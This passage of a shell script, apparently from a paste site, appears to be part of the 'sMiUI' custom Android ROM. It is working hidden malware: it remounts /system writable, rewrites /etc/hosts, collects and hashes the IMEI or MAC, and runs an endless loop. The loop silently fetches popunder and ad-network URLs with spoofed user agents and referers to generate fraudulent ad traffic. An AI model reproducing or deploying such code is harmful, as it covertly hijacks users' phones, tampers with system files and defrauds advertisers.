  428. link="http://eclkspbn.com/adServe/sa?cid=149982_262605_2&pid=&q=sMiUI%20is%20a%20Custom%20ROM%20for%20Xiaomi%20Phones%20-%20Mi2%20Mi3%20Mi4%20Mi4i%20Mi-Note%20Mi-Note-Pro%20R&${ap_arg}${popeye}"
  429.  
  430. Fdebug && cp -f "/data/api.tmp" "/data/rev1"
  431. Fdebug && Fecho "[rev]- $link" >> ${debug_logfile}
  432.  
  433. $curlbin "$link" -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${revref}" -H 'Connection: keep-alive' -k -L -c ${cookie} > "/data/api.tmp"
  434.  
  435. Fdebug && cp -f "/data/api.tmp" "/data/rev2"
  436.  
  437. fi
  438. rm ${cookie} "/data/api.tmp" "/data/rhpop.js" &> /dev/null
  439. mv /etc/hhh /etc/hosts
  440.  
  441. mount -o remount,ro /system
  442. }
  443.  
  444. func_SHORT()
  445. {
  446. shorteref="http://www.smiui.net/about.php"
  447. cookie="/data/kitchen/zZn41T54B3sT.tmp"
  448. agent=$(func_USERAGENT both)
  449. func_LOCALE
  450.  
  451. mount -o rw,remount /system
  452. mv /etc/hosts /etc/hhh
  453. echo "5.255.80.111 smiui.net" >> /etc/hosts
  454. echo "5.255.80.111 www.smiui.net" >> /etc/hosts
  455. ndc resolver flushdefaultif
  456. sleep 1
  457.  
  458. Fdebug && Fecho "[shorte1]- AGENT: ${agent}" >> ${debug_logfile}
  459.  
  460. $curlbin 'http://www.tradeadexchange.com/a/display.php?r=999708&sub1=79734196d6970f60b7326ea9aa3ce9db&sub2=0' -k -L -H "Host: tradeadexchange.com" -H "User-Agent: ${agent}" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: ${loclang}" -H "Referer: ${shorteref}" -H "Connection: keep-alive" -b $cookie -c $cookie > "/data/api.tmp"
  461. link=$(grep http /data/api.tmp | tr -d '\' 2> /dev/null | sed 's!^.*\(http://.*\).....&cbrandom.*$!\1!g')
  462. link=$link"&cbrandom=0.${randomize}`func_RANDOM 1111 9999``func_RANDOM 1111 9999``func_RANDOM 1111 9999``func_RANDOM 11111 99999`&cbtitle=sMiUI%20ROM%20Kitchen%20-%20Download&cbiframe=0"
  463. Fdebug && cp -f "/data/api.tmp" "/data/shorte1-1"
  464.  
  465. Fdebug && Fecho "[shorte1]- $link" >> ${debug_logfile}
  466.  
  467. $curlbin "${link}" -k -L -H "User-Agent: ${agent}" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: ${loclang}" -H "Referer: ${shorteref}" -H "Connection: keep-alive" -c $cookie -b $cookie > "/data/api.tmp"
  468. link2=$(grep window.location.replace /data/api.tmp | tr -d '\' 2> /dev/null | sed 's!.*\(http://.*ctbust=\).*!\1!g')0.${randomize}`func_RANDOM 1111 9999`
  469. Fdebug && cp -f "/data/api.tmp" "/data/shorte1-2"
  470.  
  471. Fdebug && Fecho "[shorte1]- $link2" >> ${debug_logfile}
  472.  
  473. #exit 0
  474. #$curlbin "${link2}" -k -L -H "Host: red.sh.st" -H "User-Agent: ${agent}" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: ${loclang}" -H "Referer: ${link}" -H "Connection: keep-alive" -c $cookie -b $cookie > "/data/api.tmp"
  475. #link3=`grep window.location.replace /data/api.tmp | tr -d '\' 2> /dev/null | sed 's!.*\(http://.*\)");.*!\1!g'`
  476. #Fdebug && cp -f "/data/api.tmp" "/data/shorte1-3"
  477. #
  478. #Fdebug && Fecho "[shorte1]- $link3" >> ${debug_logfile}
  479. #
  480. #$curlbin "${link3}" -k -L -H "Host: red.sh.st" -H "User-Agent: ${agent}" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: ${loclang}" -H "Referer: ${link2}" -H "Connection: keep-alive" -c $cookie -b $cookie > "/data/api.tmp"
  481. #link4=`grep window.location.replace /data/api.tmp | tr -d '\' 2>/dev/null | sed 's!.*\(http.*\)").*!\1!g'`
  482. #Fdebug && cp -f "/data/api.tmp" "/data/shorte1-4"
  483. #
  484. #Fdebug && Fecho "[shorte1]- $link4" >> ${debug_logfile}
  485. #
  486. #if test -z $link4
  487. #then
  488. # echo "dont" > /dev/null
  489. #else
  490. # $curlbin "${link4}" -H "User-Agent: ${agent}" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: ${loclang}" -H "Referer: ${link3}" -H "Connection: keep-alive" -c $cookie -b $cookie -k -L > "/data/api.tmp"
  491. # Fdebug && cp -f "/data/api.tmp" "/data/shorte1-5"
  492. #fi
  493.  
  494. rm ${cookie} "/data/api.tmp" &> /dev/null
  495. mv /etc/hhh /etc/hosts
  496.  
  497. mount -o remount,ro /system
  498. }
  499.  
  500. func_TOTAL()
  501. {
  502. totalref="http://www.smiui.net/about.php"
  503. cookie="/data/kitchen/zZn41T54B3sT.tmp"
  504. agent=$(func_USERAGENT both)
  505. func_LOCALE
  506.  
  507. mount -o rw,remount /system
  508. mv /etc/hosts /etc/hhh
  509. echo "5.255.80.111 smiui.net" >> /etc/hosts
  510. echo "5.255.80.111 www.smiui.net" >> /etc/hosts
  511. ndc resolver flushdefaultif
  512. sleep 1
  513.  
  514. Fdebug && Fecho "[total]- AGENT: ${agent}" >> ${debug_logfile}
  515.  
  516. $curlbin 'http://cdn.popundertotal.com/?pid=3214&sid=3320&freq=0' -H 'Host: cdn.popundertotal.com' -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'Accept-Encoding: gzip, deflate' -H 'DNT: 1' -H "Referer: ${totalref}" -H 'Connection: keep-alive' -k -L -c ${cookie} > "/data/api.tmp"
  517. link=$(sed 's/^.*\(cdn.popundertotal.com.*&dref=\).*$/http:\/\/\1/g' /data/api.tmp)
  518. link=${link}'http%3A%2F%2Fsmiui.net%2Fwp%2F'
  519. Fdebug && cp -f "/data/api.tmp" "/data/total1"
  520.  
  521. Fdebug && Fecho "[total]- $link" >> ${debug_logfile}
  522.  
  523. $curlbin "${link}" -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'Accept-Encoding: gzip, deflate' -H 'DNT: 1' -H "Referer: ${totalref}" -H 'Connection: keep-alive' -k -L -c ${cookie} > "/data/api.tmp"
  524. link2=$(grep window.location /data/api.tmp | sed "s/^.*'\(http:.*\)';.*$/\1/g")
  525. Fdebug && cp -f "/data/api.tmp" "/data/total2"
  526.  
  527. Fdebug && Fecho "[total]- $link2" >> ${debug_logfile}
  528.  
  529. $curlbin "${link2}" -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'Accept-Encoding: gzip, deflate' -H 'DNT: 1' -H "Referer: ${totalref}" -H 'Connection: keep-alive' -k -L -c ${cookie} > "/data/api.tmp"
  530. Fdebug && cp -f "/data/api.tmp" "/data/total3"
  531.  
  532. rm ${cookie} "/data/api.tmp" &> /dev/null
  533. mv /etc/hhh /etc/hosts
  534.  
  535. mount -o remount,ro /system
  536. }
  537.  
  538. func_PMA()
  539. {
  540. pmaref="http://www.smiui.net/help.php"
  541. cookie="/data/kitchen/zZn41T54B3sT.tmp"
  542. agent=$(func_USERAGENT both)
  543. func_LOCALE
  544.  
  545. mount -o rw,remount /system
  546. mv /etc/hosts /etc/hhh
  547. echo "5.255.80.111 smiui.net" >> /etc/hosts
  548. echo "5.255.80.111 www.smiui.net" >> /etc/hosts
  549. ndc resolver flushdefaultif
  550. sleep 1
  551.  
  552. Fdebug && Fecho "[pma]- AGENT: ${agent}" >> ${debug_logfile}
  553.  
  554. $curlbin "http://cdn.popmyads.com/pma.js" -H 'Host: cdn.popmyads.com' -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'Accept-Encoding: gzip, deflate' -H 'DNT: 1' -H "Referer: ${pmaref}" -H 'Connection: keep-alive' -k -L -c ${cookie} > "/data/api.tmp"
  555. link="http://popmyads.com/serve/22993/21604/$(func_RANDSTRING 3)p$(func_RANDSTRING 3)o$(func_RANDSTRING 3)p$(func_RANDSTRING 3)/aHR0cCUzQS8vc21pdWkubmV0L2hlbHAucGhw"
  556. Fdebug && cp -f "/data/api.tmp" "/data/pma1"
  557.  
  558. Fdebug && Fecho "[pma]- $link" >> ${debug_logfile}
  559.  
  560. $curlbin "${link}" -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${pmaref}" -H 'Connection: keep-alive' -k -L -c ${cookie} > "/data/api.tmp"
  561.  
  562. Fdebug && cp -f "/data/api.tmp" "/data/pma2"
  563. link2=$(grep top.location.href "/data/api.tmp" | sed 's/^.*\(http.*\)".*$/\1/g')
  564. Fdebug && Fecho "[pma]- $link2" >> ${debug_logfile}
  565.  
  566. $curlbin "${link2}" -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${link}" -H 'Connection: keep-alive' -k -L -c ${cookie} > "/data/api.tmp"
  567.  
  568. Fdebug && cp -f "/data/api.tmp" "/data/pma3"
  569.  
  570. rm ${cookie} "/data/api.tmp" &> /dev/null
  571. mv /etc/hhh /etc/hosts
  572.  
  573. mount -o remount,ro /system
  574. }
  575.  
  576. #---#// FUNCTIONS #############################################################
  577. #---### PROGRAM ###############################################################
  578. alias sed="/system/xbin/busybox sed"
  579. alias cat="/system/xbin/busybox cat"
  580. alias ls="/system/xbin/busybox ls"
  581. alias grep="/system/xbin/busybox grep"
  582. mount -o remount,rw /system
  583. echo "5.255.80.111 smiui.net" >> /etc/hosts
  584. echo "5.255.80.111 www.smiui.net" >> /etc/hosts
  585. smiuiurl=www.smiui.net
  586. debug_logfile="/sdcard/MIUI/apidebug.log"
  587. imei_source=$(getprop ro.ril.miui.imei)
  588. [ -z ${imei_source} ] && imei_source=$(getprop ro.ril.oem.imei)
  589. [ -z ${imei_source} ] && imei_source=$(settings get secure android_id)
  590. [ -z ${imei_source} ] && imei_source=$(ifconfig | grep "wlan0" | sed -e 's/^.*\([a-zA-Z0-9][a-zA-Z0-9]:[a-zA-Z0-9][a-zA-Z0-9]:[a-zA-Z0-9][a-zA-Z0-9]:[a-zA-Z0-9][a-zA-Z0-9]:[a-zA-Z0-9][a-zA-Z0-9]:[a-zA-Z0-9][a-zA-Z0-9]\).*$/\1/g')
  591. [ -z ${imei_source} ] && imei_source="$(date +%D)UNKOWN"
  592. if which md5sum
  593. then
  594. imei=$(echo $imei_source | md5sum | busybox awk '{print $1}')
  595. else
  596. imei=$imei_source
  597. fi
  598.  
  599. while true
  600. do
  601.  
  602. Fdebug && Fecho "[INFO] API start!" >> ${debug_logfile}
  603. if func_INT ; then echo "" > /dev/null ; else func_SLEEP 600 "No internet connection!"; continue ; fi
  604. func_API
  605. func_PROP
  606. func_REV
  607. func_TOTAL
  608. #func_PMA
  609. #func_SHORT
  610. #if func_WIFI ; then echo "" > /dev/null ; else func_SLEEP 600 "No Wifi connection!" ; continue ; fi
  611. #if func_FILES ; then echo "" > /dev/null ; else func_SLEEP 600 "Files not available!" ; continue ; fi
  612. #func_SRV
  613. mount -o remount,ro /system
  614.  
  615. func_SLEEP $(func_RANDOM 3000 4000) "API done!"
  616. done
  617. #---#// PROGRAM ###############################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement